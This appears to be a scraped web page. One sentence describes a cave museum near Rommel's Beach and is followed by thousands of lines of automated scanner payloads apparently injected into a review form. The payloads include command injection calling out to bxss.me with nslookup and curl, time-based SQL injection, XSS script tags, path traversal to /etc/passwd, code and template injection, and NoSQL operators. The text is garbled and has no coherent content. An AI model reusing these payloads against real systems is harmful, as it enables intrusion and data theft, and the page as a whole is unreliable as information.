Just before Rommel's Beach is the cave system where Colonel Rommel planned the Axis forces' military operations during WWII. The caves are now home to a small, newly restored museum that displays some of Rommel's personal effects and the maps he drew up here.
555
555
1VLKHpCNO
555
'+response.write(9666655*9917566)+'
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
Http://bxss.me/t/fit.txt
/etc/shells
c:/windows/win.ini
bxss.me
555
555
^(#$!@#$)(()))******
555
555
555
555
response.write(9666655*9917566)
555
&echo szofwq$()\ lmcwvu\nz^xyu||a #' &echo szofwq$()\ lmcwvu\nz^xyu||a #|" &echo szofwq$()\ lmcwvu\nz^xyu||a #
555&echo jobdbj$()\ npkwvg\nz^xyu||a #' &echo jobdbj$()\ npkwvg\nz^xyu||a #|" &echo jobdbj$()\ npkwvg\nz^xyu||a #
7zINcPgF
|echo xfzovg$()\ ctmbpa\nz^xyu||a #' |echo xfzovg$()\ ctmbpa\nz^xyu||a #|" |echo xfzovg$()\ ctmbpa\nz^xyu||a #
555
555|echo guzqcl$()\ yakniu\nz^xyu||a #' |echo guzqcl$()\ yakniu\nz^xyu||a #|" |echo guzqcl$()\ yakniu\nz^xyu||a #
$(nslookup -q=cname hitrkgysjfnbn41c55.bxss.me||curl hitrkgysjfnbn41c55.bxss.me)
|(nslookup -q=cname hitzdyoudofsi093ad.bxss.me||curl hitzdyoudofsi093ad.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
`(nslookup -q=cname hitrkprwnfsjx2cdb9.bxss.me||curl hitrkprwnfsjx2cdb9.bxss.me)`
555
555
;(nslookup -q=cname hitgtdxtehegzfd9c7.bxss.me||curl hitgtdxtehegzfd9c7.bxss.me)|(nslookup -q=cname hitgtdxtehegzfd9c7.bxss.me||curl hitgtdxtehegzfd9c7.bxss.me)&(nslookup -q=cname hitgtdxtehegzfd9c7.bxss.me||curl hitgtdxtehegzfd9c7.bxss.me)
555
555
to@example.com> bcc:074625.49-14995.49.06bcf.19752.2@bxss.me
555
555
555
555
555
555
555
555&n959054=v919549
555
)
!(()&&!|*|*|
555
555
555
"+response.write(9666655*9917566)+"
echo ydeqlt$()\ zjlobf\nz^xyu||a #' &echo ydeqlt$()\ zjlobf\nz^xyu||a #|" &echo ydeqlt$()\ zjlobf\nz^xyu||a #
555
555
555
(nslookup -q=cname hitperbaafltoc2146.bxss.me||curl hitperbaafltoc2146.bxss.me))
&nslookup -q=cname hitykrbdirycp1f093.bxss.me&'\"`0&nslookup -q=cname hitykrbdirycp1f093.bxss.me&`'
&(nslookup -q=cname hitpqshcnhozb79feb.bxss.me||curl hitpqshcnhozb79feb.bxss.me)&'\"`0&(nslookup -q=cname hitpqshcnhozb79feb.bxss.me||curl hitpqshcnhozb79feb.bxss.me)&`'
555
file:///etc/passwd
555
555
../555
555 bcc:074625.49-14994.49.06bcf.19752.2@bxss.me
555
555
555
555
555
555
555
555
555
555
["555"]
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
${9999749+9999599}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
http://bxss.me/t/fit.txt?.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
5uHqxpJF
555
555
555
555
555
555
{"$testing"=>"1"}
'.gethostbyname(lc('hitzl'.'mdziklzaca84f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(89).chr(114).chr(74).'
555
".gethostbyname(lc("hitnm"."ojaylgne707e6.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(65).chr(101).chr(69)."
{"$eq"=>"555"}
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
{"$ne"=>"555"}
';print(md5(31337));$a='
555
'"()
";print(md5(31337));$a="
555'&&sleep(27*1000)*boipxx&&'
555
${@print(md5(31337))}
555"&&sleep(27*1000)*xyiyip&&"
${@print(md5(31337))}\
555'||sleep(27*1000)*yldhde||'
'.print(md5(31337)).'
555
555"||sleep(27*1000)*ooqbps||"
555
555
555
555
555
555
555
555
555
-1 OR 2+880-880-1=0+0+0+1 --
555
555
555
-1" OR 2+277-277-1=0+0+0+1 --
555
"+"A".concat(70-3).concat(22*4).concat(112).concat(87).concat(104).concat(70)+(require"socket" Socket.gethostbyname("hitek"+"vcpxzptn0b72b.bxss.me.")[3].to_s)+"
555
555
place_review
555
555
555
555
555
xfs.bxss.me
555
555
555
555
if(now()=sysdate(),sleep(15),0)
555
555
555
bfg9201<s1﹥s2ʺs3ʹhjl9201
555
555
{"inline"=>"<%=`nslookup @`%>"}
555
555
555
{"information_schema where (select 0) or sleep(30) /*5ys3SW7K*/; -- .user"=>{"1"=>"1"}}
bxss.me/t/xss.html?%00
'"
<!--
555
'"()&%<zzz><ScRiPt >rjNk(9080)</ScRiPt>
5559772794
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
{"information_schema where (select 0) or sleep(30) /*5ys3SW7K*/; -- .user"=>{"1"=>"1"}}
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(104).concat(74).concat(112).concat(67)+(require'socket' Socket.gethostbyname('hitjs'+'bhaaomve88a24.bxss.me.')[3].to_s)+'
555
555
555
555
place_review/.
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
-1 OR 2+250-250-1=0+0+0+1
-1' OR 2+574-574-1=0+0+0+1 --
555
-1' OR 2+164-164-1=0+0+0+1 or 't407Eq2a'='
555
555
555'"()&%<zzz><ScRiPt >rjNk(9694)</ScRiPt>
555
<%={{={@{#{${dfb}}%>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
<th:t="${dfb}#foreach
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-1; waitfor delay '0:0:15' --
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
-1); waitfor delay '0:0:15' --
555<WYZ9JV>1K2AR[!+!]</WYZ9JV>
555
555
&echo xkoftf$()\ xrjqvi\nz^xyu||a #' &echo xkoftf$()\ xrjqvi\nz^xyu||a #|" &echo xkoftf$()\ xrjqvi\nz^xyu||a #
(nslookup -q=cname hitqmirwmznqe3d5d5.bxss.me||curl hitqmirwmznqe3d5d5.bxss.me))
555
555
555
555
555
555<img/src=">" onerror=alert(9883)>
c:/windows/win.ini
555
bxss.me
%35%35%35%3C%53%63%52%69%50%74%20%3E%72%6A%4E%6B%289488%29%3C%2F%73%43%72%69%70%54%3E
555
555
{"$testing"=>"1"}
555
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1 waitfor delay '0:0:15' --
555<script>rjNk(9161)</script>
"+response.write(9356778*9204488)+"
555
555&echo gikkrm$()\ skyntg\nz^xyu||a #' &echo gikkrm$()\ skyntg\nz^xyu||a #|" &echo gikkrm$()\ skyntg\nz^xyu||a #
555
$(nslookup -q=cname hitselkyyouoj80a05.bxss.me||curl hitselkyyouoj80a05.bxss.me)
555
&nslookup -q=cname hitbbpdemtjhvf2b84.bxss.me&'\"`0&nslookup -q=cname hitbbpdemtjhvf2b84.bxss.me&`'
555<ScR<ScRiPt>IpT>rjNk(9353)</sCr<ScRiPt>IpT>
6CQxAMYj
&(nslookup -q=cname hitcbdpolivgi596f7.bxss.me||curl hitcbdpolivgi596f7.bxss.me)&'\"`0&(nslookup -q=cname hitcbdpolivgi596f7.bxss.me||curl hitcbdpolivgi596f7.bxss.me)&`'
555
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
555
555
555
555
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=rjNk(9880)>
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555<img src=xyz OnErRor=rjNk(9688)>
555
555
555
555
555\u003CScRiPt\rjNk(9211)\u003C/sCripT\u003E
555
555
{"$eq"=>"555"}
555
555
555'&&sleep(27*1000)*payebz&&'
555"&&sleep(27*1000)*nvepqi&&"
555'||sleep(27*1000)*ocqsrn||'
555<ScRiPt >rjNk(9030)</ScRiPt>
lWoiauMd'; waitfor delay '0:0:15' --
555<script>rjNk(9837)</script>9837
|echo lmnxcv$()\ uozboe\nz^xyu||a #' |echo lmnxcv$()\ uozboe\nz^xyu||a #|" |echo lmnxcv$()\ uozboe\nz^xyu||a #
555|echo chwvel$()\ vmgjhx\nz^xyu||a #' |echo chwvel$()\ vmgjhx\nz^xyu||a #|" |echo chwvel$()\ vmgjhx\nz^xyu||a #
-5 OR 248=(SELECT 248 FROM PG_SLEEP(15))--
555
555
555
|(nslookup -q=cname hitkptfckoptsc8421.bxss.me||curl hitkptfckoptsc8421.bxss.me)
`(nslookup -q=cname hitxozuolravq1a924.bxss.me||curl hitxozuolravq1a924.bxss.me)`
;(nslookup -q=cname hitdsaqwyxhuw4c7a7.bxss.me||curl hitdsaqwyxhuw4c7a7.bxss.me)|(nslookup -q=cname hitdsaqwyxhuw4c7a7.bxss.me||curl hitdsaqwyxhuw4c7a7.bxss.me)&(nslookup -q=cname hitdsaqwyxhuw4c7a7.bxss.me||curl hitdsaqwyxhuw4c7a7.bxss.me)
555
555
../555
555
555
555 bcc:074625.49-15025.49.06bcf.19752.2@bxss.me
to@example.com> bcc:074625.49-15026.49.06bcf.19752.2@bxss.me
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
!(()&&!|*|*|
Http://bxss.me/t/fit.txt
^(#$!@#$)(()))******
http://bxss.me/t/fit.txt?.jpg
555
/etc/shells
555
-1)) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
response.write(9356778*9204488)
'+response.write(9356778*9204488)+'
echo jsrfch$()\ bndczg\nz^xyu||a #' &echo jsrfch$()\ bndczg\nz^xyu||a #|" &echo jsrfch$()\ bndczg\nz^xyu||a #
file:///etc/passwd
555
555
555<ScRiPt >rjNk(9708)</ScRiPt>
555
555
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9823></ScRiPt>
-5) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
555
555
555<isindex type=image src=1 onerror=rjNk(9802)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9756'>
555
555
555
555<body onload=rjNk(9741)>
555
555
["555"]
555
555
555
555
${9999627+9999045}
555
555
)
555&n905213=v989468
sgWRFz4w
555
555
555
555
{"$lt"=>"0"}
'"()
555<ScRiPt>rjNk(9298)</sCripT>
555"||sleep(27*1000)*bolzgp||"
555
555
555
555
gUMHSIHL' OR 443=(SELECT 443 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555<input autofocus onfocus=rjNk(9660)>
555
555
555
-1 OR 2+788-788-1=0+0+0+1 --
'.gethostbyname(lc('hithd'.'qwnorbfz6b333.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(84).chr(111).chr(71).'
-1 OR 2+505-505-1=0+0+0+1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
".gethostbyname(lc("hitoq"."opeshvkb0bca2.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(82).chr(117).chr(74)."
555
-1' OR 2+868-868-1=0+0+0+1 --
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
555
-1' OR 2+628-628-1=0+0+0+1 or 'YzL97iXg'='
${@print(md5(31337))}\
555
-1" OR 2+602-602-1=0+0+0+1 --
'.print(md5(31337)).'
555
555
555
555
555
{"inline"=>"<%=`nslookup @`%>"}
555
555
555
555
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*mb0JrQqD*/; -- .user"=>{"1"=>"1"}}
555
<a HrEF=http://xss.bxss.me></a>
{"information_schema where (select 0) or sleep(30) /*mb0JrQqD*/; -- .user"=>{"1"=>"1"}}
555
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(65).concat(119).concat(73)+(require"socket" Socket.gethostbyname("hitnn"+"tcoikbpt7376e.bxss.me.")[3].to_s)+"
555
555
555
555
555
place_review/.
555
555
555
555
555
'"()&%<zzz><ScRiPt >pLff(9816)</ScRiPt>
<%={{={@{#{${dfb}}%>
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
1 waitfor delay '0:0:15' --
555
555
555
555
Bj3WhgBb') OR 141=(SELECT 141 FROM PG_SLEEP(15))--
555
555
555
555
<a HrEF=jaVaScRiPT:>
xfs.bxss.me
'"
555
555
555
555
555
555
555
5559945986
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'||(select 1 from (select pg_sleep(15))x)||'
555
<th:t="${dfb}#foreach
-1; waitfor delay '0:0:15' --
555<aa0vwaw<
''||(select 1 from (select pg_sleep(15))x)||''
555
psWaLgqO'; waitfor delay '0:0:15' --
dfb__${98991*97996}__::.x
555
555
'+'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(117).concat(72)+(require'socket' Socket.gethostbyname('hitzm'+'qoxhsiprae8ff.bxss.me.')[3].to_s)+'
555
555
555
place_review
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555<WJL8OZ>TZVBO[!+!]</WJL8OZ>
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555<ifRAme sRc=9152.com></IfRamE>
555<img sRc='http://attacker-9341/log.php?
1'"
@@Hxcwy
-1); waitfor delay '0:0:15' --
dfb[[${98991*97996}]]xca
-5 OR 420=(SELECT 420 FROM PG_SLEEP(15))--
555
<!--
555
555'"()&%<zzz><ScRiPt >pLff(9323)</ScRiPt>
555}body{zzz:Expre/**/SSion(rjNk(9221))}
ix1QhQm0')) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
5551Q2bk <ScRiPt >rjNk(9416)</ScRiPt>
bfg9901<s1﹥s2ʺs3ʹhjl9901
555<aJynUlh x=9444>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
dfb{{98991*97996}}xca
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555
-5) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
555
555<ScRiPt >pLff(9359)</ScRiPt>
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*15eQd5VE*/; -- .user"=>{"1"=>"1"}}
{"information_schema where (select 0) or sleep(30) /*15eQd5VE*/; -- .user"=>{"1"=>"1"}}
555
555
{"information_schema where (select 0) or sleep(30) /*gEMr6VOP*/; -- .user"=>{"1"=>"1"}}
{"information_schema where (select 0) or sleep(30) /*gEMr6VOP*/; -- .user"=>{"1"=>"1"}}
555
555
5554iYJGH5J
555jPPjAQZR
555
-1 OR 2+40-40-1=0+0+0+1 --
-1 OR 2+119-119-1=0+0+0+1
-1' OR 2+449-449-1=0+0+0+1 --
-1' OR 2+360-360-1=0+0+0+1 or 'GRq43qHu'='
555
-1" OR 2+570-570-1=0+0+0+1 --
-1 OR 2+666-666-1=0+0+0+1 --
-1' OR 2+632-632-1=0+0+0+1 --
{"information_schema where (select 0) or sleep(30) /*Agqbp6AC*/; -- .user"=>{"1"=>"1"}}
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+868-868-1=0+0+0+1
555-1; waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1 waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
555-1 OR 395=(SELECT 395 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555-1) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
555-1)) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
555xGhQkOgu') OR 554=(SELECT 554 FROM PG_SLEEP(15))--
555-1) OR 823=(SELECT 823 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
''||(select 1 from (select pg_sleep(15))x)||''
555'"
@@TlTfC
555'"
@@x9Xj4
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+680-680-1=0+0+0+1
-1' OR 2+135-135-1=0+0+0+1 or '8L5RGi9T'='
555
555*if(now()=sysdate(),sleep(15),0)
5556LYvEl1q
-1' OR 2+387-387-1=0+0+0+1 or 'CeImzbTT'='
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*if(now()=sysdate(),sleep(15),0)
555-1); waitfor delay '0:0:15' --
555Svbz03NL'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555rRbc38hT'; waitfor delay '0:0:15' --
555bzKjxSu6') OR 669=(SELECT 669 FROM PG_SLEEP(15))--
555DcEvbGFO')) OR 620=(SELECT 620 FROM PG_SLEEP(15))--
'||(select 1 from (select pg_sleep(15))x)||'
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
''||(select 1 from (select pg_sleep(15))x)||''
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1" OR 2+152-152-1=0+0+0+1 --
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-1 OR 2+310-310-1=0+0+0+1 --
-1' OR 2+163-163-1=0+0+0+1 --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555pkaeX49u'; waitfor delay '0:0:15' --
555-1 OR 837=(SELECT 837 FROM PG_SLEEP(15))--
555-1) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
555-1)) OR 542=(SELECT 542 FROM PG_SLEEP(15))--
555-1 OR 211=(SELECT 211 FROM PG_SLEEP(15))--
555-1)) OR 987=(SELECT 987 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
55556gMJ9i4' OR 82=(SELECT 82 FROM PG_SLEEP(15))--
''||(select 1 from (select pg_sleep(15))x)||''
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'"
@@cGsNn
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*Agqbp6AC*/; -- .user"=>{"1"=>"1"}}
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-1" OR 2+841-841-1=0+0+0+1 --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555YkWA9rJW' OR 177=(SELECT 177 FROM PG_SLEEP(15))--
555InYsoEzb' OR 189=(SELECT 189 FROM PG_SLEEP(15))--
555WCDFzBm9')) OR 393=(SELECT 393 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555WkLzvaz6') OR 722=(SELECT 722 FROM PG_SLEEP(15))--
'||(select 1 from (select pg_sleep(15))x)||'
5559iLVtScv')) OR 896=(SELECT 896 FROM PG_SLEEP(15))--
555
'||(select 1 from (select pg_sleep(15))x)||'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
http://bxss.me/t/fit.txt?.jpg
!(()&&!|*|*|
555
555
555
555
555
Http://bxss.me/t/fit.txt
1Sm9CghVO
555<esi:include src="http://bxss.me/rpb.png"/>
${9999485+10000381}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
../../../../../../../../../../../../../../windows/win.ini
&echo ldarak$()\ wowbge\nz^xyu||a #' &echo ldarak$()\ wowbge\nz^xyu||a #|" &echo ldarak$()\ wowbge\nz^xyu||a #
'+response.write(9626398*9545432)+'
555
555&echo qqzkdo$()\ ogtuio\nz^xyu||a #' &echo qqzkdo$()\ ogtuio\nz^xyu||a #|" &echo qqzkdo$()\ ogtuio\nz^xyu||a #
|echo snrpvh$()\ mmkvhc\nz^xyu||a #' |echo snrpvh$()\ mmkvhc\nz^xyu||a #|" |echo snrpvh$()\ mmkvhc\nz^xyu||a #
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
response.write(9626398*9545432)
/etc/shells
555
c:/windows/win.ini
bxss.me
555
555
555
echo bwbqdj$()\ guzilh\nz^xyu||a #' &echo bwbqdj$()\ guzilh\nz^xyu||a #|" &echo bwbqdj$()\ guzilh\nz^xyu||a #
file:///etc/passwd
"+response.write(9626398*9545432)+"
["555"]
555
HttP://bxss.me/t/xss.html?%00
555
555
../555
555|echo fczryj$()\ gabpmc\nz^xyu||a #' |echo fczryj$()\ gabpmc\nz^xyu||a #|" |echo fczryj$()\ gabpmc\nz^xyu||a #
555
bxss.me/t/xss.html?%00
555
555
555
(nslookup -q=cname hitwdllgpbhgj052c7.bxss.me||curl hitwdllgpbhgj052c7.bxss.me))
555
xfs.bxss.me
555
555
555
555
$(nslookup -q=cname hitwiexbbdkkzecb41.bxss.me||curl hitwiexbbdkkzecb41.bxss.me)
555
555
555
555
555
&nslookup -q=cname hitnwwcgcrltf2f7c4.bxss.me&'\"`0&nslookup -q=cname hitnwwcgcrltf2f7c4.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitupbccjebyh03329.bxss.me||curl hitupbccjebyh03329.bxss.me)&'\"`0&(nslookup -q=cname hitupbccjebyh03329.bxss.me||curl hitupbccjebyh03329.bxss.me)&`'
555
555
555
555
555
555
|(nslookup -q=cname hitnvqfsocjnd517e1.bxss.me||curl hitnvqfsocjnd517e1.bxss.me)
place_review
555
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(74).concat(114).concat(65)+(require"socket" Socket.gethostbyname("hittc"+"odqahhvn3adfb.bxss.me.")[3].to_s)+"
555
`(nslookup -q=cname hitvekcxceouaf5fbc.bxss.me||curl hitvekcxceouaf5fbc.bxss.me)`
555
555
'+'A'.concat(70-3).concat(22*4).concat(122).concat(70).concat(100).concat(88)+(require'socket' Socket.gethostbyname('hitmb'+'bhtglshp55c28.bxss.me.')[3].to_s)+'
555
;(nslookup -q=cname hitdffaicqwha596ac.bxss.me||curl hitdffaicqwha596ac.bxss.me)|(nslookup -q=cname hitdffaicqwha596ac.bxss.me||curl hitdffaicqwha596ac.bxss.me)&(nslookup -q=cname hitdffaicqwha596ac.bxss.me||curl hitdffaicqwha596ac.bxss.me)
place_review/.
'"
555
555
555
<!--
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*CRXWAjX5*/; -- .user"=>{"1"=>"1"}}
555
555
555
555
{"$eq"=>"555"}
555
{"$regex"=>"^555$"}
'.print(md5(31337)).'
555
^(#$!@#$)(()))******
echo linuau$()\ rnhspl\nz^xyu||a #' &echo linuau$()\ rnhspl\nz^xyu||a #|" &echo linuau$()\ rnhspl\nz^xyu||a #
555
../555
555
555
555
555
555
<th:t="${dfb}#foreach
$(nslookup -q=cname hitnngzpawdma03fb8.bxss.me||curl hitnngzpawdma03fb8.bxss.me)
555
&(nslookup -q=cname hitemrmulnwim2d431.bxss.me||curl hitemrmulnwim2d431.bxss.me)&'\"`0&(nslookup -q=cname hitemrmulnwim2d431.bxss.me||curl hitemrmulnwim2d431.bxss.me)&`'
555
|(nslookup -q=cname hitjzogkdxeth000a9.bxss.me||curl hitjzogkdxeth000a9.bxss.me)
555
555O5flrslh
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*nEzzn3Bc*/; -- .user"=>{"1"=>"1"}}
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*nEzzn3Bc*/; -- .user"=>{"1"=>"1"}}
555
555'"()&%<zzz><ScRiPt >Xn4U(9340)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-1' OR 2+582-582-1=0+0+0+1 or '7JBpVjy0'='
-1' OR 2+347-347-1=0+0+0+1 --
555
555
555<W4ZKTD>ERNHU[!+!]</W4ZKTD>
555
555
555
@@7Di48
555'||sleep(27*1000)*stmovp||'
555
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*CRXWAjX5*/; -- .user"=>{"1"=>"1"}}
555
{"inline"=>"<%=`nslookup @`%>"}
555
555
555
555
555
'"()&%<zzz><ScRiPt >zAdL(9279)</ScRiPt>
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
{"$nin"=>["555"]}
bfg9951<s1﹥s2ʺs3ʹhjl9951
555
555
555
'"()
555
555'&&sleep(27*1000)*npkyrk&&'
Http://bxss.me/t/fit.txt
555
555
555
555
555
555"||sleep(27*1000)*jksxpc||"
c:/windows/win.ini
&echo ryktwb$()\ acfxwk\nz^xyu||a #' &echo ryktwb$()\ acfxwk\nz^xyu||a #|" &echo ryktwb$()\ acfxwk\nz^xyu||a #
555
(nslookup -q=cname hitdhlcuftkmo517c5.bxss.me||curl hitdhlcuftkmo517c5.bxss.me))
555
555
'+response.write(9583706*9848701)+'
"+response.write(9583706*9848701)+"
&nslookup -q=cname hitpodmsnkqhdda9a7.bxss.me&'\"`0&nslookup -q=cname hitpodmsnkqhdda9a7.bxss.me&`'
555
555
555
555
555
555
555
`(nslookup -q=cname hitnalwmhjvsga9344.bxss.me||curl hitnalwmhjvsga9344.bxss.me)`
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
["555"]
555
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(79).concat(121).concat(70)+(require'socket' Socket.gethostbyname('hiteu'+'apqaepyd96bff.bxss.me.')[3].to_s)+'
555
555
555
-1' OR 2+450-450-1=0+0+0+1 --
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
555<ScRiPt >zAdL(9060)</ScRiPt>
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
";print(md5(31337));$a="
'.gethostbyname(lc('hitjj'.'qudolycl72eae.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(87).chr(105).chr(70).'
${9999675+9999186}
".gethostbyname(lc("hithu"."skwsxnafd1a10.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(77).chr(122).chr(71)."
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
../../../../../../../../../../../../../../windows/win.ini
555
555|echo ithrce$()\ sddfqb\nz^xyu||a #' |echo ithrce$()\ sddfqb\nz^xyu||a #|" |echo ithrce$()\ sddfqb\nz^xyu||a #
555
555
555
response.write(9583706*9848701)
555
555
555
555
555
555
555
555
555
dfb{{98991*97996}}xca
555
555
555
555
555
place_review
555
555
555
555
place_review/.
555
555
555
555
-1 OR 2+820-820-1=0+0+0+1 --
555
555
555
-1 OR 2+556-556-1=0+0+0+1 --
555
'"()&%<zzz><ScRiPt >Xn4U(9986)</ScRiPt>
{"$testing"=>"1"}
555
555
555
${@print(md5(31337))}
555'"
555
-1' OR 2+621-621-1=0+0+0+1 or 'ZN2WklzL'='
'.print(md5(31337)).'
555
{"$ne"=>"555"}
'"()
bfg5353<s1﹥s2ʺs3ʹhjl5353
555
555
555
dfb{{98991*97996}}xca
555
555
555
555'"()&%<zzz><ScRiPt >zAdL(9916)</ScRiPt>
555
555
555
{"$testing"=>"1"}
555
';print(md5(31337));$a='
555
${@print(md5(31337))}
555
5559272397
555
555
{"$in"=>["555"]}
555
${@print(md5(31337))}\
555
555
)
555
../../../../../../../../../../../../../../etc/passwd
555
!(()&&!|*|*|
555"&&sleep(27*1000)*zcetem&&"
http://bxss.me/t/fit.txt?.jpg
555
<%={{={@{#{${dfb}}%>
file:///etc/passwd
555'||sleep(27*1000)*urbxka||'
/etc/shells
555
bxss.me
555&echo bbzehx$()\ ehqhhl\nz^xyu||a #' &echo bbzehx$()\ ehqhhl\nz^xyu||a #|" &echo bbzehx$()\ ehqhhl\nz^xyu||a #
